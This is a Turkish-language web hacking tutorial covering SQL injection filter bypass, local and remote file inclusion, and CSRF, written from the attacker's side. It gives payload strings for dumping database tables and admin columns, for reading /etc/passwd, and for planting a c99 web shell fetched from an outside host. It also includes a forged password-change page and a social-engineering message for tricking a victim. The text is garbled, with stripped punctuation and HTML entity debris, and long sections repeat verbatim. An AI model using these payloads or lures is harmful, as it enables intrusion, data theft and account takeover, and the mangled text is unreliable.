Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
